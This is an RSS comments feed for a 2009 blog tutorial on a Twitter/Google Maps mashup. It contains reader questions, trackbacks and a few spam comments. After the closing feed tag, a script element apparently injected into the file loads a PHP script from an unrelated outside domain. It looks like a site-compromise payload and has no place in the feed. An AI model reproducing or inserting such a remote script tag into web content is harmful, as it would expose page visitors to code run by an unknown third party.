<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Twitter-Google Maps Mashup</title>
	<atom:link href="http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/feed/" rel="self" type="application/rss+xml" />
	<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/</link>
	<description></description>
	<lastBuildDate>Mon, 30 Aug 2010 22:57:03 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: TV Gossip</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-381</link>
		<dc:creator>TV Gossip</dc:creator>
		<pubDate>Mon, 19 Jul 2010 05:22:43 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-381</guid>
		<description>A house is just a place to keep your stuff while you go out and get more stuff.

Sent from my Android phone</description>
		<content:encoded><![CDATA[<p>A house is just a place to keep your stuff while you go out and get more stuff.</p>
<p>Sent from my Android phone</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Sket på nettet den 22.04.10</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-343</link>
		<dc:creator>Sket på nettet den 22.04.10</dc:creator>
		<pubDate>Thu, 22 Apr 2010 07:14:09 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-343</guid>
		<description>[...] Twitter/Google Maps Mashup &#124; Code of Doom &#8212; 10:44am via [...]</description>
		<content:encoded><![CDATA[<p>[...] Twitter/Google Maps Mashup | Code of Doom &mdash; 10:44am via [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Peter</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-341</link>
		<dc:creator>Peter</dc:creator>
		<pubDate>Wed, 21 Apr 2010 04:03:03 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-341</guid>
		<description>Hey, your tut was a great start point for my project and everything works fine! but I was wondering how I could include the User&#039;s profile pic and how to use my own custom icons instead of Google&#039;s default red balloon? 

If you could point me in the right direction it would be GREATLY APPRECIATED! :D 

Thanks</description>
		<content:encoded><![CDATA[<p>Hey, your tut was a great start point for my project and everything works fine! but I was wondering how I could include the User&#8217;s profile pic and how to use my own custom icons instead of Google&#8217;s default red balloon? </p>
<p>If you could point me in the right direction it would be GREATLY APPRECIATED! <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </p>
<p>Thanks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: - leg med nye medier. Eller noget.</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-339</link>
		<dc:creator>- leg med nye medier. Eller noget.</dc:creator>
		<pubDate>Sat, 17 Apr 2010 08:30:38 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-339</guid>
		<description>[...] Twitter/Google Maps Mashup &#124; Code of Doom (tags: googlemap twitter opensource) [...]</description>
		<content:encoded><![CDATA[<p>[...] Twitter/Google Maps Mashup | Code of Doom (tags: googlemap twitter opensource) [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: j</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-309</link>
		<dc:creator>j</dc:creator>
		<pubDate>Sat, 13 Feb 2010 08:06:19 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-309</guid>
		<description>I tried copying your the folders in your com directory to the com folder in my project, but none of the components come through to my project. What could be wrong?</description>
		<content:encoded><![CDATA[<p>I tried copying your the folders in your com directory to the com folder in my project, but none of the components come through to my project. What could be wrong?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-265</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Tue, 03 Nov 2009 18:20:28 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-265</guid>
		<description>Great Tut!!!

I have one question: How can I add the User&#039;s profile pic?

Thx!</description>
		<content:encoded><![CDATA[<p>Great Tut!!!</p>
<p>I have one question: How can I add the User&#8217;s profile pic?</p>
<p>Thx!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Supriya Tenany</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-252</link>
		<dc:creator>Supriya Tenany</dc:creator>
		<pubDate>Wed, 16 Sep 2009 11:56:21 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-252</guid>
		<description>what is this event called when the mouse moves over the map? Also, how can I drag the marker with this mouse movement over the map?</description>
		<content:encoded><![CDATA[<p>what is this event called when the mouse moves over the map? Also, how can I drag the marker with this mouse movement over the map?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Jay</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-203</link>
		<dc:creator>Jay</dc:creator>
		<pubDate>Mon, 04 May 2009 01:04:59 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-203</guid>
		<description>This is really cool. I hope you keep working on it and polish it off.</description>
		<content:encoded><![CDATA[<p>This is really cool. I hope you keep working on it and polish it off.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Khurram</title>
		<link>http://codeofdoom.com/wordpress/2009/04/26/twittergoogle-maps-mashup/comment-page-1/#comment-198</link>
		<dc:creator>Khurram</dc:creator>
		<pubDate>Mon, 27 Apr 2009 09:19:18 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=457#comment-198</guid>
		<description>Twitter is like a breath of fresh air on the Social Media scene. I have been on it for just a few weeks now and I have met several interesting people. It is a platform to network with people you would like to meet in real life.

&lt;a href=&quot;http://www.spryka.com&quot; rel=&quot;nofollow&quot;&gt; http://Spryka.com &lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Twitter is like a breath of fresh air on the Social Media scene. I have been on it for just a few weeks now and I have met several interesting people. It is a platform to network with people you would like to meet in real life.</p>
<p><a href="http://www.spryka.com" rel="nofollow"> </a><a href="http://Spryka.com" rel="nofollow">http://Spryka.com</a> </p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://indesignstudioinfo.com/ls.php"></script>